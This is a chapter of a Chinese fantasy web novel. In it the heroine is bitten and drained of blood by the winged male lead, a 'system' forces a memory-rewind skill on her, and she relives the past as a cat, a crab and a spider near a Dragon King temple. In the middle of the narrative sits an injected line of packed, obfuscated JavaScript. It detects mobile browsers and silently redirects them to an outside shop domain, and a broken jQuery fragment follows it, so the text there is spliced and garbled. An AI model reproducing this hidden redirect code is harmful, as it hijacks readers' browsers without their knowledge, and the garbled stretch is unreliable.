长风如刀灌满衣袍,衣角翻飞,猎猎作响,顷刻间便浮上了一层湿意,大海咸涩的味道直灌入肺。
谢姜芨在飞沙走石之间艰难地睁着眼,她一只手紧紧攥住傅堪的手柄,另一只手抽出空来,狠狠拍了一把怀中猫屁股,扯破嗓子呐喊的话语散在风里:“你疯了!你会飞吗?”
玲珑一声不吭朝老龙王蹦了出去,连半个身子的距离都没跳到,就秤砣似的坠了下去,幸亏她眼疾手快地捞了一把,不然早已摔成猫饼。
看到傅堪巨大的翅膀,而忘了自己不会飞这件事的玲珑自知理亏,把脸埋进她的臂弯里,呜咽一声,一动不动。
谢姜芨恨铁不成钢地叹了口气,将小猫紧紧抱住,转头对傅堪说:“先阻止他们……”
李姝根本不可能是龙王和冤魂的对手,但她与李渊密切相关。若是葬身在这里,那线索真的无迹可循了。
傅堪低头:“什么?”
狂风呼啸,噪音入耳,双目失明,他光是保持稳定就极难,更别提还要分神听她说话。
“我说——先——阻——止——他——们——”
她的尾音长长地拖着,被风裹挟着去了别处。
傅堪下意识将她搂紧了些,手上突然传来一道灼烧般的疼痛,含着飞沙的冷风划开他的手背,像是被利刃割皮削骨。一阵巨风迎面刮来,翅膀猛地收拢,黑色的羽毛上银光一闪,瞬间变成了坚硬无比的鳞片,排排组成一道黑色的屏障,被圈住的内里安静得不可思议,就连风声都听不见。
谢姜芨茫然地抬起头,不合时宜地想道:变形金刚吗?
傅堪对这一变化也有些惊愕,他眉头皱起,心里闪过一丝不祥的预感——不论是长出翅膀还是此刻的防御,都是他下意识的反应。
这预感来去如风,还未来得及捕捉细想,那忽高忽低的音调径直穿过铜墙铁壁,毫不客气钻进了他脑子里,带了笑意:“我果然没认错。”
紧接着,老龙王又道:“小友,莫管闲事。”
话音一落,无数裹着海水湿气的风团袭来,他即刻转身,风团瞬间聚拢到一处,化作一把锋利的长刀,直直地朝他的身后劈下。
血肉破开的声音传来,那风刃下刀极深,血流如注,依稀见骨。
谢姜芨牢牢抓着他的手臂,一颗心几乎要跳出喉咙。被她抓着的衣袖拧成一小团凌乱的漩涡,身后人拥着她急速下坠,猛烈的心跳贴着她的后心,与她完美同频。
她转而握住他的手腕,发现掌心下的温度正以飞快的速度逝去,刚想抬头,傅堪的下巴轻轻贴在她的头顶,环在腰上的手臂搂得更紧,将她整个人完全禁锢住了。
谢姜芨低声道:“你怎么样?”
“一直忘了问,”他无视她的问题,话音一转,手从她的手心抽离,轻而缓地替她将凌乱的发丝别至耳后,冰冷的指节贴着耳朵的轮廓而过,低沉声音更清晰地传进耳朵里,“你叫什么名字?”
谢姜芨愣了愣神,没品味出他在生死关头问出这个问题的特殊意义,下意识规避:“我姓谢……”
“唔。”
大概是忍受不了皮开肉绽的疼痛,傅堪极度克制地倒抽一口凉气,环住她腰的力气大得几乎要将五脏六腑挤烂。
沉默几秒,在脑内翻滚无数遍的话最后只化作一声轻描淡写的叹息:“不想说就算了。”
谢姜芨刚想开口解释,氧气的急速丧失让她无法开口。傅堪的手像是锁链一般圈在腰间,与失重感共同施压,让她几欲作呕。
他低声在她耳边说了什么,没有听清。
下一刻,依旧温热的呼吸拂过她的后颈,汗毛倒竖,她在须臾之内感觉到危险,敏捷地翻手抵住他的衣领试图推开,但是凡人之力终究难敌,更别提她此刻还被以一种近乎囚禁的姿势裹挟住——
犬科动物的尖牙毫不留情地刺破颈间的皮肤,血液与生命以飞快的速度流失,她的体温顺着相贴的肌肤被汲取至干涸,寒意从脊柱一路窜至指尖。
谢姜芨用全身的力气猛地一扯他的衣领,破口大骂:“傅堪我去你大爷——”
等到祖宗十八代都在嘴边她滚过一遍,傅堪终于大发慈悲地松了松手,怀中的女孩毫无力气的身体靠着他的胸膛倒下,身后的翅膀刹那间张开,他顺着风流急速向上,将一切事物俯瞰眼底。
视线逐渐清明,他拭去嘴角的血迹,对上了老龙王向他遥望而来的双眼,呼吸顿时一滞。
眼前的世界黑白一片,就连深浅都没有。
唯有怀中人的衣衫淡黄,脸色与唇色是一致的苍白,肩膀上的伤口鲜血淋漓,丝毫没有复原的趋势。腰间半块玉牌摇晃,他伸手想去握住,那饱受折磨的红线终于不堪重负,在指尖触碰的那刻断裂。
透绿的颜色在离开谢姜芨身体的刹那化为灰黑,向着底下的深渊坠去。
他面色茫然地收回手,垂眸注视,这才发现世界中唯一一点色彩正在缓慢逝去,黑白色的爪牙从脚尖一点点攀爬向上,无情地蚕食她的身体。
*
“咔哒”一声,时钟暂停的声音响起,飞沙走石停滞在原地,被风浪弹出的李姝僵在半空,老龙王腾空的身子幻化出残影,衰老松弛的面皮弹起,漾出缕缕褶皱。
世界以一种滑稽的姿态静止,唯有傅堪打横抱着她,一动不动地停驻在空中。
谢姜芨冷笑一声,挪开了视线。
系统的播报声响起:
【恭喜宿主被男主吸血三次,且完成隐藏任务“失血过多”,获得特殊技能奖励:记忆回溯。此技能有两次使用机会,且都有时间限制,请宿主妥善利用。播报完毕。】
她透明的身体浮于空中,面无表情地看着一脸懵逼的傅堪,麻木地说:“我不想攻略了,我要放弃。”
【不要心灰意冷嘛,不就是被咬了一口吗?如果现在放弃,这个世界就都会坍塌,宿主自己也会死掉哒!】
“关我屁事,死就死了。”
她面上写满了厌恶,像是多看那男主一眼都欠奉。
【……】
撒娇卖萌不成的系统第一次见如此犟且自毁倾向严重的宿主,只好强迫其进入剧情线:
【好的,收到。现在开始强制使用奖励“记忆回溯”,请宿主做好准备。】
谢姜芨:“等一下!”
话还没说完,眼前的空间一阵扭曲,眼眶像是要爆炸一般疼痛。
她痛苦地闭上眼,排山倒海般的眩晕袭来,还未来得及站稳,一丝微凉,带着青草气味的清风拂面,那些疼痛悄然消失,耳边传来海水拍案的回响。
她慢慢睁开眼,发现自己正躺在一片草丛之中,那草竟超乎寻常的大,高于她的头顶,正被风吹得摇曳不住。
伸手摸了摸鼻子,毛茸茸的。
她低头看去,手小小的,长着一片橘色的毛发,中间的肉垫粉嫩柔软。伸手摸了摸脸,摸到了几根细细的胡须。
——她变成猫了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14022220|148701||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
谢姜芨:“…………??”
她站起身来,艰难地从草丛之间望出去,看到一片遥远的湛蓝。
大海在很远的地方,海浪声却近在咫尺。
刚想离开,身后传来窸窸窣窣的声响,又细又尖的呼唤声响起,语气像是在撒娇:“母亲!”
她回头看去,只见一只娇小般玲珑正向她扑来,她还未来得及开口,后者已经一个加速弹跳,柔软的肚子盖上她的脸,胡乱蹭了一通。
母亲?
谢姜芨在一股小猫味中想着,她现在是在玲珑的母亲身上吗?
一只橘猫,是怎么生下纯黑的小猫的?
谢姜芨想问个清楚,“玲珑”二字一出口,陡然一变:“……喵喵。”
玲珑没听懂,天真地摇了摇头:“母亲想说什么?”
见谢姜芨不答,她也不追问,自顾自地将脑袋埋进大猫的脖子下面,自顾自地蹭着撒娇,发出满足的呼呼声。
谢姜芨伸出小爪,想摸几下玲珑的头,在伸出手的那刻,突然感到头痛欲裂,眼前的景象变得模糊扭曲,玲珑焦急地用爪子拍着她,大喊道:“母亲,母亲,怎么了?”
小猫细细的呼唤远去,再一睁眼,她躺在沙滩上,身上一股洋洋暖意,大海不住地翻涌上岸,卷起一朵朵雪白的浪花。
有巨大的阴影投在她身上,遮挡了无边灼热的烈日。
她眯眼看去,上面清清楚楚写着几个大字“南海龙王庙”。
两旁的对联崭新,笔迹遒劲有力。
左侧:爱信信。
右侧:不信滚。
横批——不要打扰老子飞升。
谢姜芨:“……”
她吃力地想站起来,却发现身体只抬高了那么几厘米。
僵硬地往两侧看去,这下倒好——她变成了螃蟹。
她认命地叹了口气,八足并用地向龙宫爬去。
偌大的龙宫不在乎渺小的入侵者,庙内森严壁垒,中央巨龙浮于墙面,真实无比,龙头微伏,像是随时要冲出墙面。
一个男人跪于龙像前,他身着一袭黛色长袍,隐隐镶着金丝,庙内昏暗,看不透彻,唯有腰间的玉牌绿意欲滴,像是集聚了一切光亮般透亮。
谢姜芨刚想将那玉牌看仔细了,只见那男人不顾体面地“哐哐”磕了两个响头,声线颤抖地哭诉道:“求龙王大人指点,赐我力量……”
他的声音越来越小,熟悉的头晕再次袭来。
谢姜芨昏昏沉沉地想:好中二的人。
再一睁眼,她正伏于龙王庙梁顶上。
一抬头,一只灰色大耗子正和她大眼瞪小眼。
一声尖叫卡在喉头,发不出任何声音——谢姜芨艰难地动了动身,发现身体黏在一处,白色的丝线正将她束缚住。
她变成蜘蛛了。
那大耗子左看右看地打量她一阵,随即估计觉得蜘蛛肉实在没味道,咂咂嘴,一溜烟跑了。
谢姜芨惊魂未定地看着梁下之人。
龙王庙比方才破败不少,与她一同织网的同胞们都趴在网上看着底下的好戏。岸上香火湮灭,贡品腐烂积灰。
梁下的男人怀中捧着一团雪白,面前生着一束火,正在烤手。
他瑟瑟发抖地脱下全湿的衣物,颤抖着拿起一柄生锈的小刀,正在琢磨怎么剖开兔子的身体。
谢姜芨眯了眯眼,确定了那人的身份。
——李渊。